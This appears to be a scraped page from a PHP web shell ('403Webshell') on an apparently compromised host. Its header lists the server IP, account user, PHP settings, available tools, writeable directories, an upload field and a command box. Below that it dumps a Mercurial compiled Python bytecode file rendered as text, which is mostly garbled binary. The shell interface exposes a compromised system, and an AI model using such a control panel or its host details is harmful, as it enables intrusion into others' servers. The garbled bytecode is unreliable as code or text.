403Webshell
Server IP : 74.208.236.16  /  Your IP : 216.73.217.15
Web Server : Apache
System : Linux info 3.0 #1337 SMP Tue Jan 01 00:00:00 CEST 2000 all GNU/Linux
User : u102440577 ( 7172810)
PHP Version : 8.4.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /kunden/lib/python3/dist-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /kunden/lib/python3/dist-packages/mercurial/__pycache__/templatekw.cpython-313.pyc
�

6�ho���`�SSKJr SSKJr SSKJrJr SSKJrJ	r	J
r
JrJrJrJ
r
JrJrJrJrJr SSKJrJr \R,r\R0r\R2r\R4r\R6r\R8rS�SjrS	rS
r\S-\SS
SS.r \ S\ S'0r!\RD"\!5r"\""SS1S9S5r#\""SSS1S9S5r$\""SS1S9S5r%\""SS1S9S5r&\""SSS1S9S5r'\""SS1S9S 5r(\""S!SS1S9S"5r)\""S#SS1S9S$5r*\""S%S1S9S&5r+\""S'S1S9S(5r,\""S)S*S1S9S+5r-\""S,S*1S9S-5r.\""S.S1S9S/5r/\""S0S1S9S15r0S�S2jr1S�S3jr2\""S41S5kS9S65r3\""S7S81S9S95r4\""S:SS81S9S;5r5\""S<SS81S9S=5r6\""S>SS81S9S?5r7\""S@S1S9SA5r8\""SB1SCkS9SD5r9SEr:SFr;SGr<\""SHSIS9SJ5r=\""SKSIS9SL5r>\""SM1SCkS9SN5r?S�SOjr@\""SP1SCkS9SQ5rA\""SR1SCkS9SS5rBSTrCSS1\ClD\""SUSS1S9SV5rE\""SW1SXkS9SY5rFSZrG\""S[SS1S9S\5rH\""S]SS1S9S^5rI\""S_S1S9S`5rJ\""SaS1S9Sb5rK\""ScS*S1S9Sd5rL\""SeSf1S9Sg5rM\""ShS1S9Si5rN\""SjSS1S9Sk5rO\""SlS1S9Sm5rP\""SnSf1S9So5rQ\""Sp1SqkS9Sr5rR\""SsSS1S9St5rS\""SuSS1S9Sv5rT\""SwS1S9Sx5rU\""SyS1S9Sz5rV\""S{S1S9S|5rW\""S}S1S9S~5rX\""SS1S9S�5rY\""S�S1S9S�5rZ\""S�SS1S9S�5r[\""S�S1S9S�5r\\""S�S1S9S�5r]\""S�S1S9S�5r^\""S�S1S9S�5r_\""S�SS1S9S�5r`\""S�S*1S9S�5ra\""S�S1S9S�5rb\""S�S1S9S�5rc\""S�S*1S9S�5rd\""S�SS1S9S�5reS�rf\!R�5rhg)��)�annotations�)�_)�hex�wdirrev)�diffutil�encoding�error�hbisect�i18n�obsutil�patch�pycompat�	registrar�scmutil�templateutil�util)�
stringutil�urlutilNc�^^�URUS5mURUS5mURUS5nSnUb"USU--
n[R"U5SnO[RnXC;a
SSSS	/40X4'X4nTR5nU/nU(GaFUR
5nXv;aMTUmTR5V	s/sHCn	TRU	5(dMTRU	5S
:wdM2U"U	5(dMAU	PME n
n	U
(a3TR5SS[U
5V	s/sHo�PM sn	4Xg'M�TR5Vs/sHo�UR5PM nn[U5S:�a6USSUSS:Xa[U5up�nOUU4Sjn[UUS
9up�nO	USup�nX�S-U4Xg'U(aGMFXg$s sn	fs sn	fs snf![a< URU5 UR!STR555 GM�f=f)z8return date, distance and name for the latest tag of rev�repo�ctx�caches
latesttags�-����rsnullslocalrc�D>�USSnTR5cNTR5Vs/sHo"R5PM nnTRSX15n[U5S-nO,TRSTR5U5n[U5nU*US/$s snf)Nrr�
only(%ld, %s)rsonly(%d, %s))�rev�parents�revs�len)�x�tag�c�prevs�changes�changessincetag�ctx�repos      ���6/usr/lib/python3/dist-packages/mercurial/templatekw.py�key�getlatesttags.<locals>.keyVs������d�1�g���7�7�9�,�69�k�k�m�$D�m��U�U�W�m�E�$D�&*�i�i�0@�%�&M�G�.1�'�l�Q�.>�O�&*�i�i������C�&P�G�.1�'�l�O�"1� 0�!�A�$�7�7��%Es�B)r,c3�@# �UHoR5v� M g7f�N)r)�.0�ps  r+�	<genexpr>� getlatesttags.<locals>.<genexpr>js���7��A��������)�resourcer�
stringmatcherr�alwaysr�pop�tags�tagtype�date�sortedr r"�max�KeyError�append�extend)�context�mapping�pattern�cache�	cachename�match�
latesttagsr�todo�tr9r1�ptags�pdate�pdist�ptagr,r)r*s                 @@r+�
getlatesttagsrN+s?������G�W�-�D�
�
�
�7�F�
+�C����W�h�/�E��I����T�G�^�#�	��(�(��1�!�4����������A��y� 1�2����!�J�

�'�'�)�C��5�D�
��h�h�j������3�i���X�X�Z�
������Q��
�$(�L�L��O�x�$?�
�DI�!�H�
��	
�
�
�!�h�h�j��m�Q�F�4�L�0I�L�q��L�0I�I�J�O��	�25�+�+�-�@�-�Q�����(�-�E�@��5�z�A�~���8�A�;�%��(�1�+�-�*-�U��&�E�$�8�*-�U��)<�&�E�$�%*�1�X�"��d� ���D�0�
��Y�$�Z�?���Q
��1J��A��2�	��K�K����K�K�7�����7�7��		�sO�G(�*G(�G(�G(�?G-�G7�%G2�1G7�3G7�G7�2G7�7AH=�<H=c��[RnU"S5n[[UR	5Vs/sHo"RSS5SPM sn[R"U5R	S555$s snf)z"Return a dict of log column labelssbookmark:    %s
branch:      %s
changeset:   %s
copies:      %s
date:        %s
extra:       %s=%s
files+:      %s
files-:      %s
files:       %s
instability: %s
manifest:    %s
obsolete:    %s
parent:      %s
phase:       %s
summary:     %s
tag:         %s
user:        %s
�:rrT)r�identity�dict�zip�
splitlines�splitrr)r�columns�ss   r+�
getlogcolumnsrXpsw�����A��	��G�&��*1�*<�*<�*>�?�*>�Q�W�W�T�1�
�a�
 �*>�?��F�F�7�O�&�&�t�,�	
����?s�Bs{rev}:{node|formatnode}� s{name} ({source})s
{key}={value}s{key}={value|stringescape})�parent�manifest�	file_copy�envvar�extrar\sfilecopysauthorr)�requiresc��[X5$)zAlias for ``{user}``)�showuser�rArBs  r+�
showauthorrc�s���G�%�%�sbisectrc��URUS5nURUS5n[R"X#R55$)z'String. The changeset bisection status.rr)r5r�label�node)rArBr*r)s    r+�
showbisectrh�s=�����G�W�-�D�
�
�
�7�F�
+�C��=�=��x�x�z�*�*rd�branchc�F�URUS5nUR5$)zEString. The name of the branch on which the changeset was
committed.
r)r5�branch�rArBr)s   r+�
showbranchrm�s"��
�
�
�7�F�
+�C��:�:�<�rd�branchesc��URUS5nUR5nUS:wa
[XSU/SS9$[XS/SS9$)z�List of strings. The name of the branch on which the
changeset was committed. Will be empty if the branch name was
default. (DEPRECATED)
rsdefaultrirn��plural)r5rk�
compatlist)rArBr)rks    r+�showbranchesrs�sT���
�
�7�F�
+�C�
�Z�Z�\�F�
�����i�&��+�
�	
��g�	�2�k�J�Jrds	bookmarksc��^�URUS5nURUS5nUR5nURmU4Sjn[XSU5n[	XdU[
R5$)zsList of strings. Any bookmarks associated with the
changeset. Also sets 'active', the name of the active bookmark.
rrc�>�UTTS.$)N)�bookmarksactivescurrent�)�v�actives �r+�<lambda>�showbookmarks.<locals>.<lambda>�s���a�F��Ordrv)r5�	bookmarks�_activebookmark�_showcompatlist�_hybridrrQ)rArBr*r)r|�makemap�frys       @r+�
showbookmarksr��sg���
���G�W�-�D�
�
�
�7�F�
+�C��
�
��I�
�
!�
!�F�O�G���+�y�A�A��1��(�*;�*;�<�<rd�childrenc��URUS5nUR5Vs/sHnSUR5U4-PM nn[XSUSS9$s snf)z/List of strings. The children of the changeset.rs%d:%sr�schild)�element)r5�childrenrrr)rArBr)�cctx�	childrevss     r+�showchildrenr��s\���
�
�7�F�
+�C�;>�<�<�>�J�>�4��T�X�X�Z��.�.�>�I�J���+�y�(����Ks�Ascurrentbookmarkc��[X5$)zQString. The active bookmark, if it is associated with the changeset.
(DEPRECATED))�showactivebookmarkrbs  r+�showcurrentbookmarkr��s���g�/�/rdsactivebookmarkc��URUS5nURUS5nURnU(aXCR5;aU$g)zDString. The active bookmark, if it is associated with the changeset.rrrd)r5r}r|)rArBr*r)rys     r+r�r��sI�����G�W�-�D�
�
�
�7�F�
+�C�
�
!�
!�F�
�&�M�M�O�+��
�rdsdatec�l�URUS5n[R"UR5SS9$)z<Date information. The date when the changeset was committed.rs%d.0%d)�showfmt)r5rr;rls   r+�showdater��s1���
�
�7�F�
+�C����S�X�X�Z��;�;rdsdescc��URUS5nUR5n[U[R5(a8[R
"[R"U5R55$[U[R5(a$[R"UR55$UR5$)z.String. The text of the changeset description.r)	r5�description�
isinstancer	�localstr�tolocal�	fromlocal�strip�safelocalstr)rArBr)rWs    r+�showdescriptionr��s����
�
�7�F�
+�C�����A��!�X�&�&�'�'����� 2� 2�1� 5� ;� ;� =�>�>�	�A�x�,�,�	-�	-��$�$�Q�W�W�Y�/�/��w�w�y�rdsdiffstat�uic�l�URUS5nURUS5n[R"USS05nUR[R"U5US9n[
R"[R"U55n[
R"U5upxp�nS[U5X�4-$)zaString. Statistics of changes with the following format:
"modified files: +added/-removed lines"
r�rsnoprefixF)�optss%d: +%d/-%d)r5r�diffallopts�diff�diff_parentr�diffstatdatar�	iterlines�diffstatsumr")rArB�uir)�diffoptsr��stats�maxname�maxtotal�adds�removes�binarys            r+�showdiffstatr�
s���

�	�	�'�5�	)�B�
�
�
�7�F�
+�C��#�#�B��e�(<�=�H��8�8�H�(�(��-�H�8�=�D����t�~�~�d�3�4�E�/4�/@�/@��/G�,�G�t�f��S��Z��7�7�7rd�envvarsc�^�URUS5nUR5m[R"U4Sj[	T555m[XSTSS9$)z5A dictionary of environment variables. (EXPERIMENTAL)r�c3�0># �UHoTU4v� M
 g7fr/rw)r0�k�envs  �r+r2�showenvvars.<locals>.<genexpr>s����9�[��C��F��[���r]r�rp)r5�exportableenvironr�sortdictr<�
compatdict)rArBr�r�s   @r+�showenvvarsr�sN���
�	�	�'�5�	)�B�
�
�
�
 �C�
�-�-�9�V�C�[�9�
9�C��g�	�3�z�J�Jrd�extrasc�^�URUS5nUR5m[R"U4Sj[	T555mU4SjnTVs/sH
oC"U5PM nn[XSUSS9n[
UTUU4Sj5$s snf)zNList of dicts with key, value entries of the 'extras'
field of this changeset.rc3�0># �UHoTU4v� M
 g7fr/rw)r0r��extrass  �r+r2�showextras.<locals>.<genexpr>'s����B�>�a�v�a�y�>�>�r�c�>�UTUS.$)N)skeysvaluerw�r�r�s �r+rz�showextras.<locals>.<lambda>(s����f�Q�i�8rdr^r�rpc�@>�SU[R"TU54-$�Ns%s=%s)r�	escapestrr�s �r+rzr�/s���(�a��!5�!5�f�Q�i�!@�A�Ard)r5�extrarr�r<r~r)rArBr)r�r�r%r�r�s       @r+�
showextrasr�!s�����
�
�7�F�
+�C�
�Y�Y�[�F�
�]�]�B�6�&�>�B�
B�F�8�G�#�$�V�����V�A�$���(�A�i�H�A��	���A�	���	%s�Bs
_fast_rankc�X�URUS5nUR5nUcgSU-$)z�the rank of a changeset if cached

The rank of a revision is the size of the sub-graph it defines as a head.
Equivalently, the rank of a revision `r` is the size of the set
`ancestors(r)`, `r` included.
rNs%d)r5�	fast_rank)rArBr)�ranks    r+r�r�3s3���
�
�7�F�
+�C��=�=�?�D��|���4�<�rdc��URUS5nURUS5nSU;d	USU:a&UR5RX2X"S9nXTS'X$S'US$)Nr�revcaches
filestatus�
filestatusall)�listignored�	listclean�listunknown)r5�p1�status)rArB�listallr)�revcache�stats      r+�_getfilestatusr�Bsw��
�
�
�7�F�
+�C������5�H��H�$��1A�(B�W�(L��v�v�x������
��#'���%,�!�"��M�"�"rdc�^�URUS5nSU;d	USU:aV[XUS9n0=US'n[[R"S5U5H!umnURU4SjU55 M# US$)Nr�s
filestatusmapr��r�sMAR!?ICc3�*># �UHoT4v� M
 g7fr/rw)r0r��chars  �r+r2�$_getfilestatusmap.<locals>.<genexpr>Ts����4�e��t�9�e�s�)r5r�rSr�iterbytestr�update)rArBr�r�r��statmap�filesr�s       @r+�_getfilestatusmapr�Ns���������5�H��x�'�8�4D�+E��+O��g��@��/1�1��!�"�W��x�3�3�J�?��F�K�D�%��N�N�4�e�4�4�G��$�%�%rdsfile_copies>rrrr�c�>�URUS5nURUS5nURUS5nURUS5RS5nUc,SU;a[R"U5US'USnU"U5n[R
"XSU5$)zDList of strings. Files copied in this changeset with
their sources.
rrrr��copiess	getcopiesr\)r5�getr�getcopiesfnr�compatfilecopiesdict)rArBr*r)rD�copies�	getcopiess       r+�showfilecopiesr�Xs������G�W�-�D�
�
�
�7�F�
+�C����W�h�/�E�
�
�
�g�{�
3�
7�
7�	�
B�F�
�~��u�$�")�"5�"5�d�";�E�,���,�'�	��3����,�,��,���rdsfile_copies_switchr�c��URUS5RS5=(d /n[R"XSU5$)zVList of strings. Like "file_copies" but displayed
only if the --copied switch is set.
r�r�r\)r5r�rr�)rArBr�s   r+�showfilecopiesswitchr�ps@��
�
�
�g�{�
3�
7�
7�	�
B�
H�b�F��,�,��,���rds	file_addsc�r�URUS5n[R"XSUR55$)z/List of strings. Files added by this changeset.rsfile_add)r5r�compatfileslist�
filesaddedrls   r+�showfileaddsr�{s7���
�
�7�F�
+�C��'�'��+�s�~�~�'7��rds	file_delsc�r�URUS5n[R"XSUR55$)z1List of strings. Files removed by this changeset.rsfile_del)r5rr��filesremovedrls   r+�showfiledelsr��s9���
�
�7�F�
+�C��'�'��+�s�'7�'7�'9��rds	file_modsc�r�URUS5n[R"XSUR55$)z2List of strings. Files modified by this changeset.rsfile_mod)r5rr��
filesmodifiedrls   r+�showfilemodsr��s9���
�
�7�F�
+�C��'�'��+�s�'8�'8�':��rdsfilesc�r�URUS5n[R"XSUR55$)zJList of strings. All files modified, added, or removed by this
changeset.
rsfile)r5rr�r�rls   r+�	showfilesr��s1��
�
�
�7�F�
+�C��'�'��'�3�9�9�;�O�Ords	graphnode>rrrc��URUS5nURUS5nURUS5n[X#U5$)zQString. The character representing the changeset node in an ASCII
revision graph.rrr)r5�getgraphnode)rArBr*r)rDs     r+�
showgraphnoder��sG�����G�W�-�D�
�
�
�7�F�
+�C����W�h�/�E���5�)�)rdc�>�[XU5=(d [U5$r/)�getgraphnodecurrent�getgraphnodesymbol)r*r)rDs   r+r�r��s���t�%�0�K�4F�s�4K�Krdc��URR5nUSUR:XaUSSnUR5U;agUR	S5nUcUSSKJn URRU5nUR5(aURUR4nOSnXBS'UR5U;agg)Nr�@smerge_nodes)�
mergestaterw�%rd)�dirstater �nullidrgr��r��read�unresolvedcount�local�other)r*r)rD�wpnodes�merge_nodes�
mergestatemodr�s       r+r�r��s����m�m�#�#�%�G��q�z�T�[�[� ��"�1�+��
�x�x�z�W����i�i��/����5�&�1�1�6�6�t�<�J��)�)�+�+�)�/�/��1A�1A�B�� ��$/�.�!��8�8�:��$��rdc��UR5(agUR5(agUR5(agg)N�x�*�_�o)�obsolete�
isunstable�closesbranch�r)s r+r�r��s5��
�|�|�~�~��	���	�	��	�	�	�	�	��rds
graphwidthrwc��g)z?Integer. The width of the graph drawn by 'log --graph' or zero.rrwrbs  r+�showgraphwidthr�s��
rdsindexc�@�[R"[S55e)z7Integer. The current iteration of the loop. (0 indexed)scan't use index in this context)r
�Abortrrbs  r+�	showindexr�s���+�+�a�:�;�
<�<rd�	latesttagc��[XS5$)z�List of strings. The global tags on the most recent globally
tagged ancestor of this changeset.  If no such tags exist, the list
consists of the single string "null".
N)�showlatesttagsrbs  r+�
showlatesttagr�s���'�D�1�1rdc�^�[XU5mU4SjnTSn[XSUSS9n[XTU[R5$)z4helper method for the latesttag keyword and functionc� >�[TSUUS.$)Nr)schangessdistancer�tag)�_showchangessincetag)rxrGs �r+rz� showlatesttags.<locals>.<lambda>�s���(���]���	rdrrrP)�	separator)rNr~rrrQ)rArBrCr�r9r�rGs      @r+rr�sF����w��9�J�
�G��a�=�D���,���M�A��1�G�X�%6�%6�7�7rdslatesttagdistancec��[X5S$)z(Integer. Longest path to the latest tag.r)rNrbs  r+�showlatesttagdistancer �s����*�1�-�-rdschangessincelatesttagc�b�[X5SSnURUSU05n[X5$)z-Integer. All ancestors not in the latest tag.rrr)rN�
overlaymapr)rArBr$s   r+�showchangessincelatesttagr#�s9����
)�!�
,�Q�
/�C�� � ��6�3�-�8�G���1�1rdc�Z�URUS5nURUS5nSnUR5/nURUS5nUR5c/SnUR5Vs/sHowR5PM nn[	URSXV55U-$s snf)Nrrrrrr)r5r�symbolr r"r!)rArBr*r)�offsetr!r$r1s        r+rrs������G�W�-�D�
�
�
�7�F�
+�C�
�F��G�G�I�;�D�
�.�.��&�
)�C��w�w�y����!$����/��A������/��t�y�y�)�4�5�6��?�?��0s�/B(r[c�^^�URUS5nURUS5nUR5nUc3URRn[mURR
mO&URRU5m[U5mURUTTS.5nURSU5n[R"USUUU4Sj5$)Nrr��rev�noder[c�>�TTS.$)Nr(rw)r#�mhex�mrevs ��r+rz�showmanifest.<locals>.<lambda>)s
���t�d�;rd)
r5�manifestnode�
nodeconstants�wdiridr�wdirhex�manifestlogrrr"�processr�
hybriditem)rArBr*r)�mnoder�r,r-s      @@r+�showmanifestr7s�������G�W�-�D�
�
�
�7�F�
+�C�����E��}��"�"�)�)�����!�!�)�)�����#�#�E�*���5�z��� � ��4�$�*G�H�G�����W�-�A��"�"�	�4��;��rdsobsfate>r�rrc�*�[X5nURUS5nURUS5n/nURX5HAn[R"X4USUS[
R5nURU5 MC [XSU5$)Nr�r�
successors�markerssfate)	�showsuccsandmarkersr5�tovaluer
�obsfateprinterr�formatchangeidr?rr)rArB�succsandmarkersr�r*�valuesr#rxs        r+�showobsfaterA-s���*�'�;�O�	�	�	�'�5�	)�B����G�W�-�D�
�F�
�
$�
$�W�
6���"�"��a�
�&��*�
�w�7M�7M�
��	�
�
�a��	7��g���8�8rdc���URUS5nURUS5nURRU5nUcgURX4R55n[	XUR
XbS9$)z<helper method to generate a template keyword for a namespacerrNrp)r5�namesr�rgrr�templatename)rArB�	namespacer*r)�nsrCs       r+�	shownamesrGBsn�����G�W�-�D�
�
�
�7�F�
+�C�	
�����	�	"�B�	�z�	��H�H�T�8�8�:�&�E���"�/�/�5��rds
namespacesc��^	^
�URUS5m
URUS5n[R"5m	SnT
RR	5HVupEURT
UR55n[
XSU5n[XvU"U5[R5T	U'MX [
XS[T	55nU	U
4Sjn[UT	U[R5$)z>Dict of lists. Names attached to this changeset per
namespace.rrc�^�U4Sj$)Nc�$>�SUTRU0$)N�name)rD)rxrFs �r+rz�5shownamespaces.<locals>.makensmapfn.<locals>.<lambda>\s���'�1�b�o�o�q�9rdrw)rFs`r+�makensmapfn�#shownamespaces.<locals>.makensmapfnZs	���9�9rdrK�	namespacec�t>�UTUTRURTRURS.$)N)rOsnamessbuiltins	colorname)rC�builtin�	colorname)rF�
namespacesr*s ��r+r��shownamespaces.<locals>.makemapes9���� ��n��
�
�2��.�.��*�*�R�.�2�2�	
�	
rd)r5rr�rC�itemsrgr~rrrQ�list)rArBr)rMr�rFrCr�r�rSr*s         @@r+�shownamespacesrWQs�������G�W�-�D�
�
�
�7�F�
+�C�����J�:����!�!�#�������s�x�x�z�*���G�g�u�=����+�b�/�8�;L�;L�M�
�1�
�$�
	��,��Z�8H�I�A�
��1�j�'�8�+<�+<�=�=rdsnegrevc��URUS5nUR5nUbUS:agURUS5nU[U5-
$)ziInteger. The repository-local changeset negative revision number,
which counts in the opposite direction.rNrr)r5rr")rArBr)rr*s     r+�
shownegrevrYpsO���
�
�7�F�
+�C�

�'�'�)�C�
�{�c�A�g�����G�W�-�D���T��?�rdr*c�F�URUS5nUR5$)zMString. The changeset identification hash, as a 40 hexadecimal
digit string.
r)r5rrls   r+�shownoder[|s"��
�
�
�7�F�
+�C��7�7�9�rd�obsoletec�T�URUS5nUR5(agg)z9String. Whether the changeset is obsolete. (EXPERIMENTAL)rr\rd)r5rrls   r+�showobsoleter^�s'���
�
�7�F�
+�C�
�|�|�~�~��rdsonelinesummaryc�x�SSKJn URUS5nURUS5nURX45$)z�String. A one-line summary for the ctx (not including trailing newline).
The default template be overridden in command-templates.oneline-summary.r)�cmdutilr�r)r�r`r5�format_changeset_summary)rArBr`r�r)s     r+�showonelinesummaryrb�s<���	�	�	�'�5�	)�B�
�
�
�7�F�
+�C��+�+�B�4�4rd�path�fctxc�F�URUS5nUR5$)zDString. Repository-absolute path of the current file. (EXPERIMENTAL)rd)r5�path�rArB�fctxs   r+�showpathri��"�����G�W�-�D��9�9�;�rdspeerurlsc�^^�URUS5nURRm[R"UR5n[
R"SU55mU4SjnU4Sjn[STXE5$)z_A dictionary of repository locations defined in the [paths] section
of your configuration file.rc3�@# �UHupXR4v� M g7fr/)�rawloc)r0r�r1s   r+r2�showpeerurls.<locals>.<genexpr>�s���=�9�4�1�!�X�X��9�r4c��>�TUnSU0n[U5S:Xa_USRUS'USRR5n[R
"[
U55nURU5 [R
"5nUH`n[R
"[
URR555nURUS'URU5 U/US'Mb U$)NrKrrsurlsurls)r"rm�
suboptionsrUrr�r<r�)r��ps�d�sub_opts�	path_dictr1�pathss      �r+r��showpeerurls.<locals>.makemap�s����
�1�X��
�a�L���r�7�a�<��1����A�f�I��!�u�'�'�-�-�/�H��}�}�V�H�%5�6�H�
�H�H�X���M�M�O�	��A��}�}�V�A�L�L�,>�,>�,@�%A�B�H� !���I�f�����X�&�#��A�g�J�	�
�rdc�>�SUTU4-$r�rw)r��urlss �r+�
format_one� showpeerurls.<locals>.format_one�s����1�d�1�g�,�&�&rdN)r5r�rur�
list_pathsrr�r)rArBr*�	all_pathsr�ryrurxs      @@r+�showpeerurlsr}�sg������G�W�-�D��G�G�M�M�E��"�"�4�7�7�+�I��=�=�=�9�=�=�D�� '��4��w�3�3rdspredecessorsc�
^�URUS5mURUS5n[[R"TUR	555n[
R"[U5n[SUU4SjU4Sj5$)zDReturns the list of the closest visible predecessors. (EXPERIMENTAL)rrNc�>�STU0$�Nrrw�r#r*s �r+rz�"showpredecessors.<locals>.<lambda>�����6�4��7�#rdc�6>�[R"TU5$r/�rr>r�s �r+rzr������'�(�(��a��1rd)	r5r<r
�closestpredecessorsrgr�maplistrr)rArBr)�predecessorsr*s    @r+�showpredecessorsr��sq������G�W�-�D�
�
�
�7�F�
+�C��'�5�5�d�C�H�H�J�G�H�L��#�#�C��6�L����#�1�	�rdsreporootc�>�URUS5nUR$)z5String. The root directory of the current repository.r)r5�root)rArBr*s   r+�showreporootr��s �����G�W�-�D��9�9�rdssizec�F�URUS5nUR5$)z:Integer. Size of the current file in bytes. (EXPERIMENTAL)rd)r5�sizergs   r+�showsizer��rjrdsstatus>rrdr�c���[R"XS5n[R"XU5nU(dg[X5nX#;a
[XSS9nUR	U5$)z7String. Status code of the current file. (EXPERIMENTAL)rcNTr�)r�	runsymbol�	stringifyr�r�)rArBrfr�s    r+�
showstatusr��sY���!�!�'�G�<�D��!�!�'�D�9�D�����1�G���#�G�d�C���;�;�t��rdssuccessorssetsc
�^^^	^
�TRTS5m
TRTS5n/nUR5(a�[R"T
UR	5SS9nUVVs/sHoUVs/sHn[U5PM snPM  nnnUH*n[
SUU
4SjU
4Sj5nURU5 M, UU4Sjm	U	4S	jn[
U"U5US
[R5$s snfs snnf)z�Returns a string of sets of successors for a changectx. Format used
is: [ctx1, ctx2], [ctx3] if ctx has been split into ctx1 and ctx2
while also diverged into ctx3. (EXPERIMENTAL)rrT)�closestNc�>�STU0$r�rwr�s �r+rz�$showsuccessorssets.<locals>.<lambda>�����6�4��7�+rdc�6>�[R"TU5$r/r�r�s �r+rzr�s���'�0�0��a��9rdc�4>�[R"TTU5$r/)rr�)rrrArBs ��r+�render�"showsuccessorssets.<locals>.renders����%�%�g�w��:�:rdc3�H># �SRU4SjU55v� g7f)Ns; c3�4># �UH
nT"U5v� M g7fr/rw)r0rrr�s  �r+r2�2showsuccessorssets.<locals>.gen.<locals>.<genexpr>	s����1�D�q�����D�s�)�join)�datar�s �r+�gen�showsuccessorssets.<locals>.gens�����j�j�1�D�1�1�1�s�"c�
�SU0$)Nssuccessorsetrw)r#s r+rzr�s	��O�Q�#7rd)
r5rr
�successorssetsrgrrr?rrQ)rArBr)r��ssets�ss�n�hr�r�r*s``       @@r+�showsuccessorssetsr��s����
���G�W�-�D�
�
�
�7�F�
+�C�
�D�
�|�|�~�~��&�&�t�S�X�X�Z��F��05�6��"�"�%�"�Q�#�a�&�"�%���6��B����+�9�	�A�
�K�K��N��;�2���D�	�4�7��9J�9J����%&��6s�)	C6�2C1�C6�1C6ssuccsandmarkersc�F^�URUS5mURUS5n[R"TU5nUc/n/nUH�nUSnUVs/sHn[U5PM nn[	SUU4SjU4Sj5n/nUSHgn	[U	S5n
[S	U	S
55nSnU	Sb[SU	S55nX�4U	S
S-U4-U	SS-n
UR
U
5 Mi UR
XhS.5 M� [R"U5$s snf)z�Returns a list of dict for each final successor of ctx. The dict
contains successors node id in "successors" keys and the list of
obs-markers from ctx to the set of successors in "markers".
(EXPERIMENTAL)
rrNr9c�>�STU0$r�rwr�s �r+rz�%showsuccsandmarkers.<locals>.<lambda>)s���v�t�A�w�'rdc�6>�[R"TU5$r/r�r�s �r+rzr�*s���g�,�,�T�!�W�5rdr:rc3�8# �UHn[U5v� M g7fr/�r�r0r�s  r+r2�&showsuccsandmarkers.<locals>.<genexpr>1s���1�D�q�C��F�F�D���r�c3�8# �UHn[U5v� M g7fr/r�r�s  r+r2r�4s���"8�4�a�3�q�6�6�4�r�r�)r9r:)	r5r
�successorsandmarkersrr�tupler?r�mappinglist)rArBr)r@r��i�
successorsr��finalmarkers�m�hexprec�hexsucs�
hexparents�	newmarkerr*s              @r+r;r;sC������G�W�-�D�
�
�
�7�F�
+�C�
�
)�
)�$��
4�F�
�~����D�
���}�%�
�&0�1�j��c�!�f�j�
�1����'�5�	
�
����:��A��!�A�$�i�G��1�A�a�D�1�1�G��J���t��"�"8�1�Q�4�"8�8�
� �*�Q�q��V�3�z�m�C�a���e�K�I����	�*��	
���J�I�J�/�2�#�#�D�)�)��+2s�Dsp1c�x�URUS5n[R"SUR50[S9$)z}Changeset. The changeset's first parent. ``{p1.rev}`` for the revision
number, and ``{p1.node}`` for the identification hash.r��tmpl)r5r�mappingdictr��
_changeidtmplrls   r+�showp1r�=�4���
�
�7�F�
+�C��#�#�V�S�V�V�X�$6�]�K�Krdsp2c�x�URUS5n[R"SUR50[S9$)z~Changeset. The changeset's second parent. ``{p2.rev}`` for the revision
number, and ``{p2.node}`` for the identification hash.rr�)r5rr��p2r�rls   r+�showp2r�Er�rdsp1revc�b�URUS5nUR5R5$)z�Integer. The repository-local revision number of the changeset's
first parent, or -1 if the changeset has no parents. (DEPRECATED)r)r5r�rrls   r+�	showp1revr�M�(���
�
�7�F�
+�C��6�6�8�<�<�>�rdsp2revc�b�URUS5nUR5R5$)z�Integer. The repository-local revision number of the changeset's
second parent, or -1 if the changeset has no second parent. (DEPRECATED)r)r5r�rrls   r+�	showp2revr�Ur�rdsp1nodec�b�URUS5nUR5R5$)z�String. The identification hash of the changeset's first parent,
as a 40 digit hexadecimal string. If the changeset has no parents, all
digits are 0. (DEPRECATED)r)r5r�rrls   r+�
showp1noder�]�(��
�
�
�7�F�
+�C��6�6�8�<�<�>�rdsp2nodec�b�URUS5nUR5R5$)z�String. The identification hash of the changeset's second
parent, as a 40 digit hexadecimal string. If the changeset has no second
parent, all digits are 0. (DEPRECATED)r)r5r�rrls   r+�
showp2noder�fr�rdsparentsc�^�URUS5mURUS5n[R"TU5nUVs/sHoDR5PM nnUVs/sH8nSUR54SUR	54SUR54/PM: nn[
XSU5n[UUU4SjU4Sj[S	9$s snfs snf)
z�List of strings. The parents of the changeset in "rev:node"
format. If the changeset has only one "natural" parent (the predecessor
revision) nothing is shown.rrr)r*�phaserZc�>�STU0$r�rwr�s �r+rz�showparents.<locals>.<lambda>�r�rdc�6>�[R"TU5$r/r�r�s �r+rzr��r�rd)�keytype)	r5r�meaningfulparentsrr�phasestrr~r�int)	rArBr)�pctxsr1r&r r�r*s	        @r+�showparentsr�os����
���G�W�-�D�
�
�
�7�F�
+�C��%�%�d�C�0�E�#�$�e��U�U�W�e�E�$����A��!�%�%�'�	�W�a�e�e�g�.��1�:�:�<�0H�I����	��)�W�=�A��	�
�#�1�����

%��s�C� ?Cr�c�F�URUS5nUR5$)z!String. The changeset phase name.r)r5r�rls   r+�	showphaser��s"���
�
�7�F�
+�C��<�<�>�rdsphaseidxc�F�URUS5nUR5$)z.Integer. The changeset phase index. (ADVANCED)r)r5�phaserls   r+�showphaseidxr��s"���
�
�7�F�
+�C��9�9�;�rdr)c�R�URUS5n[R"U5$)z8Integer. The repository-local changeset revision number.r)r5r�intrevrls   r+�showrevr��s%���
�
�7�F�
+�C��>�>�#��rdssubreposc�t�URUS5nURnU(d
[XS/5$UR5R=(d 0n/nUH%nXd;dX6XF:wdMUR	U5 M' UHnXc;dM
UR	U5 M [XS[U55$)z:List of strings. Updated subrepositories in the changeset.rssubrepo)r5�substaterrr�r?r<)rArBr)r��	psubstate�subrepos�subs       r+�showsubreposr��s����
�
�7�F�
+�C��|�|�H���'�J��;�;�����!�!�'�R�I��H�����8�=�I�N�#B��O�O�C� �������O�O�C� ���g�
�F�8�4D�E�Erd�tagsc��[XS5$)z8List of strings. Any tags associated with the changeset.r�)rGrbs  r+�showtagsr��s���W�w�/�/rds	termwidthc�F�URUS5nUR5$)z+Integer. The width of the current terminal.r�)r5�	termwidth�rArBr�s   r+�
showtermwidthr��s"��
�	�	�'�5�	)�B�
�<�<�>�rdsuserc�F�URUS5nUR5$)z/String. The unmodified author of the changeset.r)r5�userrls   r+rara�s"���
�
�7�F�
+�C��8�8�:�rd�
instabilitiesc�\�URUS5n[UUSUR5SS9$)zQList of strings. Evolution instabilities affecting the changeset.
